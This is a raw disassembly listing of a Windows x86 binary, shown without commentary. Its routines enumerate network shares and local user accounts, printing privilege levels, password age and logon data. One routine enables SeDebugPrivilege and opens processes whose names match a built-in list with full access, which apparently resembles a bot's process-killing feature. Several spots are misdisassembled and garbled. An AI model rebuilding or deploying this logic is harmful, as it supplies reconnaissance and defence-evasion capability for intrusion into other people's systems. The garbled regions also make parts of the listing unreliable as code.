sub_418611 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418634 proc near ; CODE XREF: seg000:00404B89p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_4185D0
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 18h
loc_41866D: ; CODE XREF: sub_418634+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call ds:dword_45143C
mov ebx, eax
cmp ebx, esi
jz short loc_4186D0
cmp ebx, 0EAh
jz short loc_4186D0
push ebx
push ebx
call sub_418DE9
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_44E2C0
push eax
call sub_41D260
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 24h
jmp short loc_41873D
; ---------------------------------------------------------------------------
loc_4186D0: ; CODE XREF: sub_418634+5Dj
; sub_418634+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_418734
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_4186DE: ; CODE XREF: sub_418634+FCj
push dword ptr [esi+10h]
call ds:dword_4513E0
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_4186F5
mov eax, offset aNo ; "No"
loc_4186F5: ; CODE XREF: sub_418634+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_4186DE
xor esi, esi
loc_418734: ; CODE XREF: sub_418634+A2j
push [ebp+var_4]
call ds:dword_451580
loc_41873D: ; CODE XREF: sub_418634+9Aj
cmp ebx, 0EAh
jz loc_41866D
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_418634 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418755 proc near ; CODE XREF: seg000:00404BDDp
; seg000:00404C04p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_4187F9
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_418797
dec eax
jz short loc_41878C
dec eax
jnz short loc_4187B2
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_41889B
add esp, 14h
jmp short loc_4187AE
; ---------------------------------------------------------------------------
loc_41878C: ; CODE XREF: sub_418755+1Dj
push ebx
push edi
call sub_41887A
pop ecx
pop ecx
jmp short loc_4187AE
; ---------------------------------------------------------------------------
loc_418797: ; CODE XREF: sub_418755+1Aj
cmp [ebp+arg_8], edi
jz short loc_4187AB
push [ebp+arg_8]
push ebx
push edi
call sub_418820
add esp, 0Ch
jmp short loc_4187AE
; ---------------------------------------------------------------------------
loc_4187AB: ; CODE XREF: sub_418755+45j
push 57h
pop eax
loc_4187AE: ; CODE XREF: sub_418755+35j
; sub_418755+40j ...
cmp eax, edi
jnz short loc_4187D2
loc_4187B2: ; CODE XREF: sub_418755+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4EE39C
push ds:off_44DB04[eax*4]
push offset unk_44E300
push esi
call sub_41D260
add esp, 10h
jmp short loc_418819
; ---------------------------------------------------------------------------
loc_4187D2: ; CODE XREF: sub_418755+5Bj
push eax
call sub_418DE9
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4EE39C
push ds:off_44DB00[eax*4]
push offset unk_44E338
push esi
call sub_41D260
add esp, 18h
jmp short loc_418819
; ---------------------------------------------------------------------------
loc_4187F9: ; CODE XREF: sub_418755+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4EE39C
lea eax, [eax+eax*2]
push ds:off_44DB00[eax*4]
push offset unk_44E380
push esi
call sub_41D260
add esp, 0Ch
loc_418819: ; CODE XREF: sub_418755+7Bj
; sub_418755+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_418755 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418820 proc near ; CODE XREF: sub_418755+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_4185D0
push [ebp+arg_4]
mov edi, eax
call sub_4185D0
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_4185D0
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call ds:dword_4513D0
pop edi
leave
retn
sub_418820 endp
; =============== S U B R O U T I N E =======================================
sub_41887A proc near ; CODE XREF: sub_418755+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4185D0
push [esp+8+arg_4]
mov esi, eax
call sub_4185D0
pop ecx
pop ecx
push eax
push esi
call ds:dword_4513C0
pop esi
retn
sub_41887A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41889B proc near ; CODE XREF: sub_418755+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_4185D0
push [ebp+arg_4]
mov esi, eax
call sub_4185D0
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call ds:dword_451548
test eax, eax
mov [ebp+arg_0], eax
jnz loc_418C28
mov eax, [ebp+var_4]
test eax, eax
jz loc_418C63
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41D260
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_4189B4
dec eax
jz short loc_4189AD
dec eax
jz short loc_4189A6
mov eax, offset aUnknown_0 ; "Unknown"
jmp short loc_4189B9
; ---------------------------------------------------------------------------
loc_4189A6: ; CODE XREF: sub_41889B+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_4189B9
; ---------------------------------------------------------------------------
loc_4189AD: ; CODE XREF: sub_41889B+FFj
mov eax, offset aUser_3 ; "User"
jmp short loc_4189B9
; ---------------------------------------------------------------------------
loc_4189B4: ; CODE XREF: sub_41889B+FCj
mov eax, offset aGuest ; "Guest"
loc_4189B9: ; CODE XREF: sub_41889B+109j
; sub_41889B+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40145D
add esp, 20h
pop edi
pop ebx
jmp short loc_418C54
; ---------------------------------------------------------------------------
loc_418C28: ; CODE XREF: sub_41889B+35j
push eax
lea eax, [ebp+var_204]
push offset unk_44E548
push eax
call sub_41D260
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40145D
add esp, 20h
loc_418C54: ; CODE XREF: sub_41889B+38Bj
cmp [ebp+var_4], 0
jz short loc_418C63
push [ebp+var_4]
call ds:dword_451580
loc_418C63: ; CODE XREF: sub_41889B+40j
; sub_41889B+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_41889B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C69 proc near ; CODE XREF: seg000:00404C41p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_4185D0
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 18h
loc_418CA8: ; CODE XREF: sub_418C69+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call ds:dword_451454
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_418D09
cmp eax, 0EAh
jz short loc_418D09
push eax
push eax
call sub_418DE9
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_44E5F4
push eax
call sub_41D260
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 24h
jmp short loc_418D84
; ---------------------------------------------------------------------------
loc_418D09: ; CODE XREF: sub_418C69+62j
; sub_418C69+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_418D97
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_418D84
loc_418D1B: ; CODE XREF: sub_418C69+EDj
cmp edi, esi
jz short loc_418D5A
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_34 ; " %S"
push eax
call sub_41D260
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_418D1B
jmp short loc_418D84
; ---------------------------------------------------------------------------
loc_418D5A: ; CODE XREF: sub_418C69+B4j
lea eax, [ebp+var_218]
push offset unk_44E5A8
push eax
call sub_41D260
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 1Ch
loc_418D84: ; CODE XREF: sub_418C69+9Ej
; sub_418C69+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_418D97
push edi
call ds:dword_451580
xor edi, edi
mov [ebp+var_4], edi
loc_418D97: ; CODE XREF: sub_418C69+A5j
; sub_418C69+120j
cmp [ebp+var_C], 0EAh
jz loc_418CA8
cmp edi, esi
jz short loc_418DAF
push edi
call ds:dword_451580
loc_418DAF: ; CODE XREF: sub_418C69+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41D260
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_418C69 endp
; =============== S U B R O U T I N E =======================================
sub_418DE9 proc near ; CODE XREF: sub_41843F+41p
; sub_418634+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_418E9B
jz loc_418E94
cmp eax, 7Bh
ja short loc_418E60
jz short loc_418E56
cmp eax, 5
jz short loc_418E4C
cmp eax, 8
jz short loc_418E42
cmp eax, 32h
jz short loc_418E38
cmp eax, 35h
jz short loc_418E2E
cmp eax, 57h
jnz loc_418EEA
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_418F0B
; ---------------------------------------------------------------------------
loc_418E2E: ; CODE XREF: sub_418DE9+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_418F0B
; ---------------------------------------------------------------------------
loc_418E38: ; CODE XREF: sub_418DE9+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_418F0B
; ---------------------------------------------------------------------------
loc_418E42: ; CODE XREF: sub_418DE9+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_418F0B
; ---------------------------------------------------------------------------
loc_418E4C: ; CODE XREF: sub_418DE9+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_418F0B
; ---------------------------------------------------------------------------
loc_418E56: ; CODE XREF: sub_418DE9+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_418F0B
; ---------------------------------------------------------------------------
loc_418E60: ; CODE XREF: sub_418DE9+1Aj
sub eax, 7Ch
jz short loc_418E8D
sub eax, 7C8h
jz short loc_418E86
dec eax
jz short loc_418E7C
dec eax
jnz short loc_418EEA
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_418F0B
; ---------------------------------------------------------------------------
loc_418E7C: ; CODE XREF: sub_418DE9+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_418F0B
; ---------------------------------------------------------------------------
loc_418E86: ; CODE XREF: sub_418DE9+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_418F0B
; ---------------------------------------------------------------------------
loc_418E8D: ; CODE XREF: sub_418DE9+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_418F0B
; ---------------------------------------------------------------------------
loc_418E94: ; CODE XREF: sub_418DE9+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_418F0B
; ---------------------------------------------------------------------------
loc_418E9B: ; CODE XREF: sub_418DE9+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_418ED4
jz short loc_418ECD
sub eax, 8ADh
jz short loc_418EFF
dec eax
dec eax
jz short loc_418EC6
dec eax
jz short loc_418EBF
dec eax
dec eax
jnz short loc_418EEA
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_418F0B
; ---------------------------------------------------------------------------
loc_418EBF: ; CODE XREF: sub_418DE9+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_418F0B
; ---------------------------------------------------------------------------
loc_418EC6: ; CODE XREF: sub_418DE9+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_418F0B
; ---------------------------------------------------------------------------
loc_418ECD: ; CODE XREF: sub_418DE9+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_418F0B
; ---------------------------------------------------------------------------
loc_418ED4: ; CODE XREF: sub_418DE9+B9j
sub eax, 8CAh
jz short loc_418F06
sub eax, 17h
jz short loc_418EFF
sub eax, 25h
jz short loc_418EF8
sub eax, 29h
jz short loc_418EF1
loc_418EEA: ; CODE XREF: sub_418DE9+35j
; sub_418DE9+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_418F0B
; ---------------------------------------------------------------------------
loc_418EF1: ; CODE XREF: sub_418DE9+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_418F0B
; ---------------------------------------------------------------------------
loc_418EF8: ; CODE XREF: sub_418DE9+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_418F0B
; ---------------------------------------------------------------------------
loc_418EFF: ; CODE XREF: sub_418DE9+C2j
; sub_418DE9+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_418F0B
; ---------------------------------------------------------------------------
loc_418F06: ; CODE XREF: sub_418DE9+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_418F0B: ; CODE XREF: sub_418DE9+40j
; sub_418DE9+4Aj ...
push offset dword_4EE13C
call sub_41D260
pop ecx
mov eax, offset dword_4EE13C
pop ecx
retn
sub_418DE9 endp
; ---------------------------------------------------------------------------
loc_418F1D: ; CODE XREF: seg000:00404C86p
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push dword ptr [ebp+8]
lea eax, [ebp-718h]
push eax
call sub_41FEE0
add esp, 0Ch
lea eax, [ebp+8]
mov esi, 108h
push eax
lea eax, [ebp-108h]
push eax
mov [ebp+8], esi
call near ptr 3D0000h
enter 0FFFF858Dh, 0F8h
; ---------------------------------------------------------------------------
dw 0FFFEh
; ---------------------------------------------------------------------------
call dword ptr [esi+50h]
lea eax, [ebp-318h]
push eax
call sub_41FEE0
lea eax, [ebp-718h]
push eax
call sub_4201B0
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp-718h]
push eax
lea eax, [ebp-318h]
push 0
push eax
push 0
call ds:dword_451504
test eax, eax
jnz short loc_418FAD
mov esi, offset dword_4EDF38
push offset unk_44E908
push esi
call sub_41D260
pop ecx
pop ecx
jmp short loc_418FD6
; ---------------------------------------------------------------------------
loc_418FAD: ; CODE XREF: seg000:00418F97j
lea ecx, [ebp-718h]
push ecx
lea ecx, [ebp-318h]
push ecx
push eax
call sub_418DE9
pop ecx
mov esi, offset dword_4EDF38
push eax
push offset dword_44E948
push esi
call sub_41D260
add esp, 14h
loc_418FD6: ; CODE XREF: seg000:00418FABj
mov eax, esi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FDB proc near ; CODE XREF: sub_417BA1+7p
; sub_419046+5Fp ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call near ptr 3D0000h
jge short near ptr loc_41903B+3
call ds:dword_4514D8
test eax, eax
jnz short loc_418FFA
leave
retn
; ---------------------------------------------------------------------------
loc_418FFA: ; CODE XREF: sub_418FDB+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call ds:dword_4514B0
test eax, eax
jz short loc_419038
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419021
or [ebp+var_8], 2
jmp short loc_419025
; ---------------------------------------------------------------------------
loc_419021: ; CODE XREF: sub_418FDB+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_419025: ; CODE XREF: sub_418FDB+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call ds:dword_45155C
mov esi, eax
loc_419038: ; CODE XREF: sub_418FDB+32j
push [ebp+var_4]
loc_41903B: ; CODE XREF: sub_418FDB+11j
call ds:dword_4F12FC ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_418FDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419046 proc near ; CODE XREF: seg000:004070D1p
; sub_419289+74p ...
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp ds:dword_451514, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_419259
cmp ds:dword_4514F8, ebx
jz loc_419259
cmp ds:dword_45140C, ebx
jz loc_419259
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_418FDB
pop ecx
pop ecx
push ebx
push 0Fh
call ds:dword_451514
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_41924C
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call ds:dword_4514F8
mov esi, ds:dword_4F12FC
test eax, eax
jz loc_419247
lea eax, [ebp+var_130]
push eax
push edi
call ds:dword_45140C
test eax, eax
jz loc_419247
mov edi, ds:dword_4F1324
mov ebx, 1F0FFFh
loc_41910A: ; CODE XREF: sub_419046+1F9j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_419171
mov [ebp+var_4], offset off_44E990
loc_419118: ; CODE XREF: sub_419046+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
call ds:dword_4F13F8 ; lstrcmpiA
test eax, eax
jz short loc_419140
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_44E9F0
jl short loc_419118
jmp loc_41922D
; ---------------------------------------------------------------------------
loc_419140: ; CODE XREF: sub_419046+E6j
push [ebp+var_128]
push 0
push ebx
call edi ; dword_4F1324
test eax, eax
mov [ebp+var_4], eax
jz loc_41922D
push 0
push eax
call near ptr 3D0000h
retn 0C085h
; ---------------------------------------------------------------------------
jnz loc_41922D
loc_419167: ; CODE XREF: sub_419046+1CDj
push [ebp+var_4]
call esi ; dword_4F12FC
jmp loc_41922D
; ---------------------------------------------------------------------------
loc_419171: ; CODE XREF: sub_419046+C9j
cmp [ebp+arg_C], eax
jnz loc_419218
cmp [ebp+arg_4], eax
jz loc_41922D
push [ebp+var_128]
push 8
call ds:dword_451514
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_4191D8
lea ecx, [ebp+var_354]
push ecx
push eax
call ds:dword_4513B8
push [ebp+var_128]
test eax, eax
jz short loc_4191CA
lea eax, [ebp+var_234]
push eax
push offset aSD_0 ; " %s (%d)"
jmp short loc_4191EA
; ---------------------------------------------------------------------------
loc_4191CA: ; CODE XREF: sub_419046+174j
lea eax, [ebp+var_10C]
push eax
push offset aSD_1 ; " %s (%d)"
jmp short loc_4191EA
; ---------------------------------------------------------------------------
loc_4191D8: ; CODE XREF: sub_419046+15Cj
push [ebp+var_128]
lea eax, [ebp+var_10C]
push eax
push offset aSD_2 ; " %s (%d)"
loc_4191EA: ; CODE XREF: sub_419046+182j
; sub_419046+190j
lea eax, [ebp+var_554]
push eax
call sub_41D260
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40145D
add esp, 14h
jmp loc_419167
; ---------------------------------------------------------------------------
loc_419218: ; CODE XREF: sub_419046+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_419260
loc_41922D: ; CODE XREF: sub_419046+F5j
; sub_419046+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call ds:dword_45140C
test eax, eax
jnz loc_41910A
xor ebx, ebx
loc_419247: ; CODE XREF: sub_419046+9Dj
; sub_419046+B3j
push [ebp+var_8]
call esi ; dword_4F12FC
loc_41924C: ; CODE XREF: sub_419046+77j
push ebx
push offset aSedebugprivi_0 ; "SeDebugPrivilege"
call sub_418FDB
pop ecx
pop ecx
loc_419259: ; CODE XREF: sub_419046+3Aj
; sub_419046+46j ...
xor eax, eax
loc_41925B: ; CODE XREF: sub_419046+241j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419260: ; CODE XREF: sub_419046+1E5j
push [ebp+var_128]
push 0
push ebx
call edi ; dword_4F1324
push [ebp+var_8]
mov edi, eax
call esi ; dword_4F12FC
push 0
push edi
call near ptr 3D0000h
push ds
test eax, eax
jnz short loc_419284
push edi
call esi ; dword_4F12FC
jmp short loc_419259
; ---------------------------------------------------------------------------
loc_419284: ; CODE XREF: sub_419046+237j
push 1
pop eax
jmp short loc_41925B
sub_419046 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419289 proc near ; DATA XREF: seg000:00407DCCo
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
